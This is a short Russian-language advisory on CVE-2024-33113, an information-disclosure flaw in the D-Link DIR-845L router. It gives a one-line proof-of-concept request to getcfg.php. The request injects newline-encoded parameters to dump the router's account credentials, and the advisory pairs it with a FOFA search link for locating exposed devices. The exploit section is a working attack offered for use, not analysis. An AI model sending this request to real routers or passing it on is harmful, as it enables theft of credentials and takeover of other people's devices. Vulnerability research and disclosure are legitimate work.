D-LINK DIR-845L уязвим к раскрытию информации через файл bsc_sms_inbox.php.

CVE-2024-33113 - уязвимость в маршрутизаторе D-LINK DIR-845L, позволяющая раскрыть информацию через файл bsc_sms_inbox.php. Уязвимость возникает из-за некорректной работы функции include(), которая может быть использована путем манипулирования переменной $file. Это позволяет злоумышленникам включать произвольные PHP-скрипты и потенциально получать конфиденциальную информацию, такую как имя пользователя и пароль маршрутизатора.

Exploit

PoC Ссылка на заголовок

http://IP:8080/getcfg.php?a=%0A_POST_SERVICES=DEVICE.ACCOUNT%0AAUTHORIZED_GROUP=1

https://en.fofa.info/result?qbase64=RElSLTg0NUw%3D